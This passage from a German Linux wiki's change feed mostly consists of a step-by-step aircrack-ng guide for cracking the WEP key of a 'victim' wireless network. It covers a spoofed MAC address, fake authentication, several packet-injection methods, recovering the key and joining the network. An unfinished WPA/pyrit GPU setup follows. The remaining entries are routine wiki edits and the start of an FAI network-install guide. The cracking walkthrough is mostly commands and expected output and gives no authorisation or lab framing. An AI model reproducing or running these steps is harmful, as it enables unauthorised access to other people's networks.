 sudo aptitude install linux-headers-`uname -r` gcc-4.3&lt;br /&gt;
&lt;br /&gt;
 sudo aptitude install build-essential subversion subversion-tools&lt;br /&gt;
 cd /usr/local/src&lt;br /&gt;
 sudo rm -r aircrack-ng&lt;br /&gt;
 sudo su -c &#039;svn co http://trac.aircrack-ng.org/svn/trunk/ aircrack-ng&#039;&lt;br /&gt;
 cd aircrack-ng&lt;br /&gt;
 sudo make&lt;br /&gt;
 sudo make install&lt;br /&gt;
 sudo airodump-ng-oui-update&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
INSTALL UND CONFIG AIRCRACK-NG-CUDA&lt;br /&gt;
&lt;br /&gt;
Passende Kernel Headers und GCC muessen vorhanden sein und zum laufenden Kernel passen:&lt;br /&gt;
 sudo aptitude install linux-headers-`uname -r` gcc-4.3&lt;br /&gt;
&lt;br /&gt;
Nvidia Treiber muessen aus http://debian.oppserver.net vorhanden sein:&lt;br /&gt;
 sudo aptitude install nvidia-glx libvdpau-dev nvidia-cuda-dev nvidia-cuda-toolkit&lt;br /&gt;
&lt;br /&gt;
 sudo aptitude install build-essential subversion subversion-tools libglu1-mesa-dev libxi-dev libxmu-dev libsqlite3-dev&lt;br /&gt;
 sudo mkdir /usr/src/cuda&lt;br /&gt;
 cd /usr/src/cuda&lt;br /&gt;
 sudo wget http://developer.download.nvidia.com/compute/cuda/4_1/rel/sdk/gpucomputingsdk_4.1.28_linux.run&lt;br /&gt;
 sudo chmod +x *.run&lt;br /&gt;
 sh gpucomputingsdk_4.1.28_linux.run&lt;br /&gt;
 cd /usr/local/src&lt;br /&gt;
 sudo rm -r aircrack-ng-cuda&lt;br /&gt;
 sudo su -c &#039;svn co http://trac.aircrack-ng.org/svn/branch/aircrack-ng-cuda/ aircrack-ng-cuda&#039;&lt;br /&gt;
 cd aircrack-ng-cuda&lt;br /&gt;
 sudo CUDA=true make&lt;br /&gt;
 sudo make CUDA=true sqlite=true unstable=true install&lt;br /&gt;
 sudo airodump-ng-oui-update&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
IW INSTALLEN&lt;br /&gt;
&lt;br /&gt;
 sudo mkdir /usr/local/src/iw&lt;br /&gt;
 cd /usr/local/src/iw&lt;br /&gt;
 sudo rm -r *&lt;br /&gt;
 sudo wget http://dl.aircrack-ng.org/iw.tar.bz2&lt;br /&gt;
 sudo tar xvfj iw.tar.bz2&lt;br /&gt;
 sudo make&lt;br /&gt;
 sudo make install&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
OPFER WLAN SUCHEN&lt;br /&gt;
 sudo airmon-ng start wlan0&lt;br /&gt;
 sudo airodump-ng mon0&lt;br /&gt;
Mit strg-c einmal stoppen und sich die MAC adresse (BSSID),den channel (CH) und den Namen (ESSID) des WLan Routers/APs merken.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
MONITORMODE EINSCHALTEN UND MAC ADRESSE AENDERN (FAKE MAC)&lt;br /&gt;
&lt;br /&gt;
Karte in Monitor Mode mit &amp;quot;airmon-ng&amp;quot; (z.B. Channel 6 fuer Opfer Wlan)&lt;br /&gt;
 sudo airmon-ng start wlan0 6&lt;br /&gt;
&lt;br /&gt;
Karte in Monitor Mode mit &amp;quot;iwconfig&amp;quot; und &amp;quot;ifconfig&amp;quot; (z.B. Channel 6 fuer Opfer Wlan)&lt;br /&gt;
 sudo ifconfig wlan0 down&lt;br /&gt;
 sudo iwconfig wlan0 mode monitor&lt;br /&gt;
 sudo iwconfig wlan0 channel 6&lt;br /&gt;
 sudo ifconfig wlan0 up&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 sudo aptitude install macchanger&lt;br /&gt;
Hier nun die aktuelle MAC merken, um sie spaeter evtl. wieder auf den original Wert zurueckzusetzen:&lt;br /&gt;
 macchanger -s wlan0&lt;br /&gt;
&lt;br /&gt;
So kann man sie auch einfach nach ~/wlan0_original_mac speichern:&lt;br /&gt;
 sudo macchanger -s wlan0 &amp;gt; ~/wlan0_original_mac&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 sudo ifconfig wlan0 down&lt;br /&gt;
 sudo ifconfig mon0 down&lt;br /&gt;
 sudo macchanger --mac=00:11:22:33:44:55 wlan0&lt;br /&gt;
 sudo macchanger --mac=00:11:22:33:44:55 mon0&lt;br /&gt;
 sudo ifconfig wlan0 up&lt;br /&gt;
 sudo ifconfig mon0 up&lt;br /&gt;
&lt;br /&gt;
Hiermit wurde nun die FAKEMAC 00:11:22:33:44:55 auf wlan0 und mon0 gesetzt.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
####  WEP  ####&lt;br /&gt;
AIRCRACK-NG, AIRODUMP-NG UND AIRREPLAY-NG ANLEITUNG&lt;br /&gt;
&lt;br /&gt;
Injection testen:&lt;br /&gt;
 sudo aireplay-ng -B -9 mon0&lt;br /&gt;
&lt;br /&gt;
Falls noch eine WLan Verbindung auf wlan0 laeuft, einmal stopen:&lt;br /&gt;
 sudo ifdown wlan0&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
IVs Sammeln mit &amp;quot;airodump-ng&amp;quot;:&lt;br /&gt;
 mkdir ~/aircrack_temp&lt;br /&gt;
 sudo airodump-ng -w ~/aircrack_temp/ivsout -c CH -d BSSID mon0&lt;br /&gt;
 (z.B.: sudo airodump-ng -w ~/aircrack_temp/ivsout -c 6 -d 99:88:77:66:55:44 mon0)&lt;br /&gt;
&lt;br /&gt;
Falls man nun hier schon einen verbunden Client sieht, kann man mit Methode 1 weiter machen,&lt;br /&gt;
ohne Client nur mit Methode 2 oder 3 (mein Favorit ist Methode 3)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nun einen weiteren root Terminal oeffnen:&lt;br /&gt;
&lt;br /&gt;
 cd ~/aircrack_temp/&lt;br /&gt;
&lt;br /&gt;
Fake Authentication mit &amp;quot;aireplay-ng&amp;quot;&lt;br /&gt;
 sudo aireplay-ng -1 0 -e ESSID -a BSSID -h FAKEMAC mon0&lt;br /&gt;
 (z.B.: sudo aireplay-ng -1 0 -e TestWLAN -a 99:88:77:66:55:44 -h 00:11:22:33:44:55 mon0)&lt;br /&gt;
&lt;br /&gt;
Falls man folgenden Fehler bekommt:&lt;br /&gt;
Couldn&#039;t determine current channel for mon0, you should either force the operation with --ignore-negative-one or apply a kernel patch&lt;br /&gt;
muss man den Befehl anpassen und zwar so:&lt;br /&gt;
 sudo aireplay-ng -1 0 --ignore-negative-one -e ESSID -a BSSID -h FAKEMAC mon0&lt;br /&gt;
 (z.B.: sudo aireplay-ng -1 0 --ignore-negative-one -e TestWLAN -a 99:88:77:66:55:44 -h 00:11:22:33:44:55 mon0)&lt;br /&gt;
&lt;br /&gt;
oder:&lt;br /&gt;
&lt;br /&gt;
 sudo aireplay-ng -1 6000 -o 1 -q 10 -e ESSID -a BSSID -h FAKEMAC mon0&lt;br /&gt;
 (z.B.: sudo aireplay-ng -1 6000 -o 1 -q 10 -e TestWLAN -a 99:88:77:66:55:44 -h 00:11:22:33:44:55 mon0)&lt;br /&gt;
&lt;br /&gt;
Falls man folgenden Fehler bekommt:&lt;br /&gt;
Couldn&#039;t determine current channel for mon0, you should either force the operation with --ignore-negative-one or apply a kernel patch&lt;br /&gt;
muss man den Befehl anpassen und zwar so:&lt;br /&gt;
 sudo aireplay-ng -1 6000 --ignore-negative-one -o 1 -q 10 -e ESSID -a BSSID -h FAKEMAC mon0&lt;br /&gt;
 (z.B.: sudo aireplay-ng -1 6000 --ignore-negative-one -o 1 -q 10 -e TestWLAN -a 99:88:77:66:55:44 -h 00:11:22:33:44:55 mon0)&lt;br /&gt;
&lt;br /&gt;
Dies sollte dann dabei herauskommen:&lt;br /&gt;
&lt;br /&gt;
 Sending Authentication Request&lt;br /&gt;
 Authentication successful&lt;br /&gt;
 Sending Association Request&lt;br /&gt;
 Association successful :-)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
METHODE 1&lt;br /&gt;
 sudo aireplay-ng -3 -b BSSID -h FAKEMAC mon0&lt;br /&gt;
 (z.B.: sudo aireplay-ng -3 -b 99:88:77:66:55:44 -h 00:11:22:33:44:55 mon0)&lt;br /&gt;
&lt;br /&gt;
Falls man folgenden Fehler bekommt:&lt;br /&gt;
Couldn&#039;t determine current channel for mon0, you should either force the operation with --ignore-negative-one or apply a kernel patch&lt;br /&gt;
muss man den Befehl anpassen und zwar so:&lt;br /&gt;
 sudo aireplay-ng -3 --ignore-negative-one -b BSSID -h FAKEMAC mon0&lt;br /&gt;
 (z.B.: sudo aireplay-ng -3 --ignore-negative-one -b 99:88:77:66:55:44 -h 00:11:22:33:44:55 mon0)&lt;br /&gt;
&lt;br /&gt;
Jetzt kann man im ersten root Terminal sehen das bei dem AP die Data Anzahl ziemlich schnell steig.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
METHODE 2&lt;br /&gt;
 sudo aireplay-ng -5 -b BSSID -h FAKEMAC mon0&lt;br /&gt;
 (z.B.: sudo aireplay-ng -5 -b 99:88:77:66:55:44 -h 00:11:22:33:44:55 mon0)&lt;br /&gt;
&lt;br /&gt;
Falls man folgenden Fehler bekommt:&lt;br /&gt;
Couldn&#039;t determine current channel for mon0, you should either force the operation with --ignore-negative-one or apply a kernel patch&lt;br /&gt;
muss man den Befehl anpassen und zwar so:&lt;br /&gt;
 sudo aireplay-ng -5 --ignore-negative-one -b BSSID -h FAKEMAC mon0&lt;br /&gt;
 (z.B.: sudo aireplay-ng -5 --ignore-negative-one -b 99:88:77:66:55:44 -h 00:11:22:33:44:55 mon0)&lt;br /&gt;
&lt;br /&gt;
Warten bist ein Paket empfangen wurde und dann mit y &amp;gt; ENTER bestaetigen.&lt;br /&gt;
Dann sollte folgende Meldung erscheinen:&lt;br /&gt;
&lt;br /&gt;
 Saving keystream in fragment-xxxx-xxxxxx.xor&lt;br /&gt;
 Now you can build a packet with packetforge-ng out of that 1500 bytes keystream&lt;br /&gt;
&lt;br /&gt;
Falls dann auch durch mehrmaliges y &amp;gt; ENTER immer wieder ein Still nothing, trying another packet... erscheint mit STRG+C abbrechen und eine weitere Methode testen.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
METHODE 3&lt;br /&gt;
 sudo aireplay-ng -4 -b BSSID -h FAKEMAC mon0&lt;br /&gt;
 (z.B.: sudo aireplay-ng -4 -b 99:88:77:66:55:44 -h 00:11:22:33:44:55 mon0)&lt;br /&gt;
&lt;br /&gt;
Falls man folgenden Fehler bekommt:&lt;br /&gt;
Couldn&#039;t determine current channel for mon0, you should either force the operation with --ignore-negative-one or apply a kernel patch&lt;br /&gt;
muss man den Befehl anpassen und zwar so:&lt;br /&gt;
 sudo aireplay-ng -4 --ignore-negative-one -b BSSID -h FAKEMAC mon0&lt;br /&gt;
 (z.B.: sudo aireplay-ng -4 --ignore-negative-one -b 99:88:77:66:55:44 -h 00:11:22:33:44:55 mon0)&lt;br /&gt;
&lt;br /&gt;
Warten bist ein Paket empfangen wurde und dann mit y &amp;gt; ENTER bestaetigen.&lt;br /&gt;
Durchlaufen lassen bis 100%, dann sollte folgende Meldung erscheinen:&lt;br /&gt;
&lt;br /&gt;
 Saving plaintext in replay_xxx-xxxx-xxxxxx.cap&lt;br /&gt;
 Saving keystream in replay_xxx-xxxx-xxxxxx.xor&lt;br /&gt;
 &lt;br /&gt;
 Completed in xxxs (xxx bytes/s)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
METHODE 4&lt;br /&gt;
 sudo aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b BSSID -h FAKEMAC mon0&lt;br /&gt;
 (z.B.: sudo aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b 99:88:77:66:55:44 -h 00:11:22:33:44:55 mon0)&lt;br /&gt;
&lt;br /&gt;
Falls man folgenden Fehler bekommt:&lt;br /&gt;
Couldn&#039;t determine current channel for mon0, you should either force the operation with --ignore-negative-one or apply a kernel patch&lt;br /&gt;
muss man den Befehl anpassen und zwar so:&lt;br /&gt;
 sudo aireplay-ng -2 --ignore-negative-one -p 0841 -c FF:FF:FF:FF:FF:FF -b BSSID -h FAKEMAC mon0&lt;br /&gt;
 (z.B.: sudo aireplay-ng -2 --ignore-negative-one -p 0841 -c FF:FF:FF:FF:FF:FF -b 99:88:77:66:55:44 -h 00:11:22:33:44:55 mon0)&lt;br /&gt;
&lt;br /&gt;
Warten bist ein Paket empfangen wurde und dann mit y &amp;gt; ENTER bestaetigen.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
NUR METHODE 2+3&lt;br /&gt;
Das empfangene in ein ARP Paket umwandeln.&lt;br /&gt;
&lt;br /&gt;
 cd ~/aircrack_temp/&lt;br /&gt;
 sudo packetforge-ng -0 -a BSSID -h FAKEMAC -k 255.255.255.255 -l 255.255.255.255.255 -y fragment-xxxx-xxxxxx.xor -w arp-paket&lt;br /&gt;
 (z.B.: sudo packetforge-ng -0 -a 99:88:77:66:55:44 -h 00:11:22:33:44:55 -k 255.255.255.255 -l 255.255.255.255.255 -y fragment-*.xor -w arp-paket)&lt;br /&gt;
&lt;br /&gt;
oder:&lt;br /&gt;
&lt;br /&gt;
 cd ~/aircrack_temp/&lt;br /&gt;
 sudo packetforge-ng -0 -a BSSID -h FAKEMAC -k 255.255.255.255 -l 255.255.255.255.255 -y replay_xxx-xxxx-xxxxxx.xor -w arp-paket&lt;br /&gt;
 (z.B.: sudo packetforge-ng -0 -a 99:88:77:66:55:44 -h 00:11:22:33:44:55 -k 255.255.255.255 -l 255.255.255.255.255 -y replay_*.xor -w arp-paket)&lt;br /&gt;
&lt;br /&gt;
Darauf sollte folgende Ausgabe erscheinen:&lt;br /&gt;
&lt;br /&gt;
 Wrote packet to: arp-paket&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 sudo aireplay-ng -2 -r arp-paket mon0&lt;br /&gt;
 &lt;br /&gt;
 Mit y &amp;gt; ENTER bestaetigen.&lt;br /&gt;
&lt;br /&gt;
Jetzt kann man im ersten root Terminal sehen das bei dem AP die Data Anzahl ziemlich schnell steig.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
METHODE 1+2+3+4&lt;br /&gt;
Nun oeffnen wir den 3 root Terminal:&lt;br /&gt;
&lt;br /&gt;
 cd ~/aircrack_temp/&lt;br /&gt;
 sudo aircrack-ng -z -b BSSID ivsout*.cap&lt;br /&gt;
 (z.B.: sudo aircrack-ng -z -b 99:88:77:66:55:44 ivsout*.cap)&lt;br /&gt;
&lt;br /&gt;
oder:&lt;br /&gt;
&lt;br /&gt;
 sudo aircrack-ng -a 1 -e N3ur0m4nc3r -b BSSID ivsout*.cap&lt;br /&gt;
 (z.B.: sudo aircrack-ng -a 1 -e N3ur0m4nc3r -b 99:88:77:66:55:44 ivsout*.cap)&lt;br /&gt;
&lt;br /&gt;
Dann sollte folgendes nach Kurz oder Lang erscheinen:&lt;br /&gt;
&lt;br /&gt;
 KEY FOUND! [ xx:xx:xx:xx:xx ] (ASCII: AT.HA )&lt;br /&gt;
         Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
Als naechstes koennen wir erstmal aireplay und airodump in den ersten 2 root Terminals mit STRG+C beenden und loggen uns wie folgt auf dem Router/AP an:&lt;br /&gt;
&lt;br /&gt;
 sudo ifconfig wlan0 down&lt;br /&gt;
 sudo iwconfig wlan0 essid ESSID channel CH key xx:xx:xx:xx:xx&lt;br /&gt;
 (z.B.: sudo iwconfig wlan0 essid TestWLAN channel 6 key xx:xx:xx:xx:xx)&lt;br /&gt;
 sudo ifconfig wlan0 up&lt;br /&gt;
 (Falls noch nicht geschehen; sudo aptitude install dhcpcd)&lt;br /&gt;
 sudo dhcpcd wlan0&lt;br /&gt;
&lt;br /&gt;
Dabei sollte nun folgendes erscheinen:&lt;br /&gt;
 interface wlan0 has been configured with new IP=xxx.xxx.xxx.xxx&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
**** Experimental und nicht getestet ****&lt;br /&gt;
####  WPA/WPA2  ####&lt;br /&gt;
 sudo aptitude install pyrit&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
####  WPA/WPA2 (cuda) ####&lt;br /&gt;
 sudo aptitude install pyrit&lt;br /&gt;
&lt;br /&gt;
Nvidia Treiber muessen aus http://debian.oppserver.net vorhanden sein.&lt;br /&gt;
 sudo aptitude install nvidia-glx libvdpau-dev nvidia-cuda-dev nvidia-cuda-toolkit&lt;br /&gt;
&lt;br /&gt;
 sudo aptitude install build-essential subversion subversion-tools libglu1-mesa-dev libxi-dev libxmu-dev&lt;br /&gt;
 sudo mkdir /usr/src/cuda&lt;br /&gt;
 cd /usr/src/cuda&lt;br /&gt;
&lt;br /&gt;
[32bit]&lt;br /&gt;
 sudo wget http://developer.download.nvidia.com/compute/cuda/3_1/toolkit/cudatoolkit_3.1_linux_32_ubuntu9.10.run&lt;br /&gt;
 sudo wget http://developer.download.nvidia.com/compute/cuda/3_1/sdk/gpucomputingsdk_3.1_linux.run&lt;br /&gt;
 sudo chmod +x *.run&lt;br /&gt;
 sudo sh cudatoolkit_3.1_linux_32_ubuntu9.10.run&lt;br /&gt;
 sudo sh gpucomputingsdk_3.1_linux.run&lt;br /&gt;
&lt;br /&gt;
[64bit]&lt;br /&gt;
 sudo wget http://developer.download.nvidia.com/compute/cuda/3_1/toolkit/cudatoolkit_3.1_linux_64_ubuntu9.10.run&lt;br /&gt;
 sudo wget http://developer.download.nvidia.com/compute/cuda/3_1/sdk/gpucomputingsdk_3.1_linux.run&lt;br /&gt;
 sudo chmod +x *.run&lt;br /&gt;
 sudo sh cudatoolkit_3.1_linux_64_ubuntu9.10.run&lt;br /&gt;
 sudo sh gpucomputingsdk_3.1_linux.run&lt;br /&gt;
&lt;br /&gt;
 sudo mkdir /usr/local/src/pyrit&lt;br /&gt;
 cd /usr/local/src/pyrit&lt;br /&gt;
 sudo wget http://pyrit.googlecode.com/files/cpyrit-cuda-0.3.0.tar.gz&lt;br /&gt;
 sudo tar -vxzf cpyrit-cuda-0.3.0.tar.gz&lt;br /&gt;
 cd cpyrit-cuda-0.3.0/&lt;br /&gt;
 sudo python setup.py build&lt;br /&gt;
 sudo python setup.py install&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
HF ;)&lt;/div&gt;</summary>
		<author><name>SOliver</name></author>
	</entry>
	<entry>
		<id>https://wiki.oppserver.net/index.php?title=Wifi&amp;diff=106</id>
		<title>Wifi</title>
		<link rel="alternate" type="text/html" href="https://wiki.oppserver.net/index.php?title=Wifi&amp;diff=106"/>
		<updated>2013-04-29T20:15:36Z</updated>

		<summary type="html">&lt;p&gt;SOliver: Die Seite wurde neu angelegt: „* IWL UND AIRCRACK-NG BENUTZUNGS UND INSTALL FAQ AUF DEBIAN  * MADWIFI-NG UND AIRCRACK-NG BENUTZUNGS UND INSTALL FAQ AUF DEBIAN“&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;* [[IWL UND AIRCRACK-NG BENUTZUNGS UND INSTALL FAQ AUF DEBIAN ]]&lt;br /&gt;
* [[MADWIFI-NG UND AIRCRACK-NG BENUTZUNGS UND INSTALL FAQ AUF DEBIAN]]&lt;/div&gt;</summary>
		<author><name>SOliver</name></author>
	</entry>
	<entry>
		<id>https://wiki.oppserver.net/index.php?title=Fai&amp;diff=105</id>
		<title>Fai</title>
		<link rel="alternate" type="text/html" href="https://wiki.oppserver.net/index.php?title=Fai&amp;diff=105"/>
		<updated>2013-04-29T20:07:02Z</updated>

		<summary type="html">&lt;p&gt;SOliver: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Fully Automatic Installation==&lt;br /&gt;
* [[FAI INSTALL FAQ AUF DEBIAN SQUEEZE]]&lt;br /&gt;
* [[WSUSOFFLINE INSTALL FAQ AUF DEBIAN SQUEEZE]]&lt;/div&gt;</summary>
		<author><name>SOliver</name></author>
	</entry>
	<entry>
		<id>https://wiki.oppserver.net/index.php?title=Fai&amp;diff=104</id>
		<title>Fai</title>
		<link rel="alternate" type="text/html" href="https://wiki.oppserver.net/index.php?title=Fai&amp;diff=104"/>
		<updated>2013-04-29T20:06:35Z</updated>

		<summary type="html">&lt;p&gt;SOliver: Die Seite wurde neu angelegt: „==Fully Automatic Installation==“&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Fully Automatic Installation==&lt;/div&gt;</summary>
		<author><name>SOliver</name></author>
	</entry>
	<entry>
		<id>https://wiki.oppserver.net/index.php?title=Opsi&amp;diff=103</id>
		<title>Opsi</title>
		<link rel="alternate" type="text/html" href="https://wiki.oppserver.net/index.php?title=Opsi&amp;diff=103"/>
		<updated>2013-04-29T20:05:51Z</updated>

		<summary type="html">&lt;p&gt;SOliver: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==open pc server integration==&lt;br /&gt;
* [[OPSI INSTALL FAQ AUF DEBIAN SQUEEZE]]&lt;br /&gt;
* [[WSUSOFFLINE INSTALL FAQ AUF DEBIAN SQUEEZE]]&lt;/div&gt;</summary>
		<author><name>SOliver</name></author>
	</entry>
	<entry>
		<id>https://wiki.oppserver.net/index.php?title=MediaWiki:Sidebar&amp;diff=102</id>
		<title>MediaWiki:Sidebar</title>
		<link rel="alternate" type="text/html" href="https://wiki.oppserver.net/index.php?title=MediaWiki:Sidebar&amp;diff=102"/>
		<updated>2013-04-29T20:04:28Z</updated>

		<summary type="html">&lt;p&gt;SOliver: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
* navigation&lt;br /&gt;
** mainpage|mainpage-description&lt;br /&gt;
** linux|Linux Allgemein&lt;br /&gt;
** debian|Debian&lt;br /&gt;
** opsi|OPSI&lt;br /&gt;
** fai|FAI&lt;br /&gt;
** wifi|WiFi&lt;br /&gt;
** recentchanges-url|recentchanges&lt;br /&gt;
** randompage-url|randompage&lt;br /&gt;
** helppage|help&lt;br /&gt;
* SEARCH&lt;br /&gt;
* TOOLBOX&lt;br /&gt;
* LANGUAGES&lt;/div&gt;</summary>
		<author><name>SOliver</name></author>
	</entry>
	<entry>
		<id>https://wiki.oppserver.net/index.php?title=Opsi&amp;diff=101</id>
		<title>Opsi</title>
		<link rel="alternate" type="text/html" href="https://wiki.oppserver.net/index.php?title=Opsi&amp;diff=101"/>
		<updated>2013-04-29T20:03:17Z</updated>

		<summary type="html">&lt;p&gt;SOliver: Die Seite wurde neu angelegt: „* OPSI INSTALL FAQ AUF DEBIAN SQUEEZE * WSUSOFFLINE INSTALL FAQ AUF DEBIAN SQUEEZE“&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;* [[OPSI INSTALL FAQ AUF DEBIAN SQUEEZE]]&lt;br /&gt;
* [[WSUSOFFLINE INSTALL FAQ AUF DEBIAN SQUEEZE]]&lt;/div&gt;</summary>
		<author><name>SOliver</name></author>
	</entry>
	<entry>
		<id>https://wiki.oppserver.net/index.php?title=FAI_INSTALL_FAQ_AUF_DEBIAN_SQUEEZE&amp;diff=100</id>
		<title>FAI INSTALL FAQ AUF DEBIAN SQUEEZE</title>
		<link rel="alternate" type="text/html" href="https://wiki.oppserver.net/index.php?title=FAI_INSTALL_FAQ_AUF_DEBIAN_SQUEEZE&amp;diff=100"/>
		<updated>2013-04-29T20:02:23Z</updated>

		<summary type="html">&lt;p&gt;SOliver: Schützte „FAI INSTALL FAQ AUF DEBIAN SQUEEZE“ (‎[edit=sysop] (unbeschränkt) ‎[move=sysop] (unbeschränkt))&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;FAI INSTALL FAQ AUF DEBIAN SQUEEZE (Stand 05.07.2011) [ © OppTupacShakur | http://OPPServer.net | http://unix.oppserver.net ]&lt;br /&gt;
&lt;br /&gt;
Hier unsere Server/Client Beispiele dieser Anleitung:&lt;br /&gt;
 FAI Server, Debian Squeeze 6.0x, IP 192.168.39.2, Hostname fai&lt;br /&gt;
 Client 1, MAC Adresse 08:00:22:22:22:21, IP 192.168.39.226, Hostname debian-squeeze-1&lt;br /&gt;
 Router, IP 192.168.39.253, Hostname router&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Als erstes als User root einloggen:&lt;br /&gt;
 sudo -s&lt;br /&gt;
oder&lt;br /&gt;
 su&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Die Clients in /etc/hosts eintragen, wird fuer den PXE Boot benoetigt:&lt;br /&gt;
 echo &amp;quot;192.168.39.226  debian-squeeze-1&amp;quot; &amp;gt;&amp;gt; /etc/hosts&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Folgende Packete installieren:&lt;br /&gt;
 aptitude install fai-client fai-doc fai-server fai-quickstart atftpd dhcp3-server xinetd syslinux nfs-kernel-server apt-move makepasswd apache2 apt-cacher&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Als erstes erstellen wir den apt-cacher:&lt;br /&gt;
 apache2ctl graceful&lt;br /&gt;
In /etc/default/apt-cacher setzen wir AUTOSTART=1&lt;br /&gt;
&lt;br /&gt;
In /etc/apt-cacher/apt-cacher.conf koennen wir noch Anpassungen machen.&lt;br /&gt;
&lt;br /&gt;
Danach starten wir den apt-cacher Daemon&lt;br /&gt;
 /etc/init.d/apt-cacher restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nun das Script debian-squeeze-fai-i386-amd64-config-script downloaden und ausfuehren:&lt;br /&gt;
 wget http://unix.oppserver.net/debian/fai/debian-squeeze-fai-i386-amd64-config-script&lt;br /&gt;
 chmod +x debian-squeeze-fai-i386-amd64-config-script&lt;br /&gt;
 ./debian-squeeze-fai-i386-amd64-config-script&lt;br /&gt;
 rm debian-squeeze-fai-i386-amd64-config-script&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Jetzt das FAI root Passwort (FAI_ROOTPW) erzeugen:&lt;br /&gt;
 makepasswd --crypt-md5&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In /etc/fai-i386/make-fai-nfsroot.conf folgendes aendern/ersetzen/hinzufuegen:&lt;br /&gt;
 NFSROOT=/srv/fai/nfsroot-i386&lt;br /&gt;
 FAI_ROOTPW=&#039;...&#039;&lt;br /&gt;
 FAI_DEBOOTSTRAP_OPTS=&amp;quot;--arch i386&amp;quot; &lt;br /&gt;
 APT_CONFIG=/etc/fai-i386/apt_arch.conf&lt;br /&gt;
&lt;br /&gt;
In /etc/fai-amd64/make-fai-nfsroot.conf folgendes aendern/ersetzen/hinzufuegen:&lt;br /&gt;
 NFSROOT=/srv/fai/nfsroot-amd64&lt;br /&gt;
 FAI_ROOTPW=&#039;...&#039;&lt;br /&gt;
 FAI_DEBOOTSTRAP_OPTS=&amp;quot;--arch amd64&amp;quot; &lt;br /&gt;
 APT_CONFIG=/etc/fai-amd64/apt_arch.conf&lt;br /&gt;
&lt;br /&gt;
In /etc/fai/make-fai-nfsroot.conf folgendes aendern/ersetzen/hinzufuegen:&lt;br /&gt;
 FAI_ROOTPW=&#039;...&#039;&lt;br /&gt;
&lt;br /&gt;
In /etc/fai/fai.conf folgendes aendern/ersetzen/hinzufuegen:&lt;br /&gt;
 FAI_CONFIG_SRC=nfs://192.168.39.2/srv/fai/config&lt;br /&gt;
 LOGUSER=fai&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Benoetigte Ordner erstellen:&lt;br /&gt;
 mkdir -p /srv/fai/mirror/i386/debian-squeeze&lt;br /&gt;
 mkdir -p /srv/fai/mirror/amd64/debian-squeeze&lt;br /&gt;
 mkdir -p /srv/fai/nfsroot-i386&lt;br /&gt;
 mkdir -p /srv/fai/nfsroot-amd64&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In /etc/exports folgendes aendern/ersetzen/hinzufuegen:&lt;br /&gt;
&lt;br /&gt;
 /srv/fai/config 192.168.39.0/24(async,ro,no_subtree_check)&lt;br /&gt;
 /srv/fai/nfsroot-i386 192.168.39.0/24(async,ro,no_subtree_check,no_root_squash)&lt;br /&gt;
 /srv/fai/nfsroot-amd64 192.168.39.0/24(async,ro,no_subtree_check,no_root_squash)&lt;br /&gt;
 /srv/fai/mirror/i386/debian-squeeze 192.168.39.0/24(async,ro,no_subtree_check,no_root_squash)&lt;br /&gt;
 /srv/fai/mirror/amd64/debian-squeeze 192.168.39.0/24(async,ro,no_subtree_check,no_root_squash)&lt;br /&gt;
&lt;br /&gt;
Und den NFS Server restarten:&lt;br /&gt;
 /etc/init.d/nfs-kernel-server restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Eine neue sources.list downloaden:&lt;br /&gt;
 mv /etc/fai/apt/sources.list /etc/fai/apt/sources.list.orig&lt;br /&gt;
 wget http://unix.oppserver.net/debian/sources.list.squeeze -O /etc/fai/apt/sources.list.squeeze&lt;br /&gt;
Diese nun mit folgendem ergaenzen:&lt;br /&gt;
&lt;br /&gt;
 #Apt-Cacher&lt;br /&gt;
 deb http://192.168.39.2/apt-cacher/ftp.debian.org/debian/ squeeze contrib main non-free&lt;br /&gt;
 deb-src http://192.168.39.2/apt-cacher/ftp.debian.org/debian/ squeeze contrib main non-free&lt;br /&gt;
 &lt;br /&gt;
 deb http://192.168.39.2/apt-cacher/security.debian.org/ squeeze/updates main contrib non-free&lt;br /&gt;
 deb-src http://192.168.39.2/apt-cacher/security.debian.org/ squeeze/updates main contrib non-free&lt;br /&gt;
 &lt;br /&gt;
 deb http://192.168.39.2/apt-cacher/backports.debian.org/debian-backports squeeze-backports main contrib non-free&lt;br /&gt;
 deb-src http://192.168.39.2/apt-cacher/backports.debian.org/debian-backports squeeze-backports main contrib non-free&lt;br /&gt;
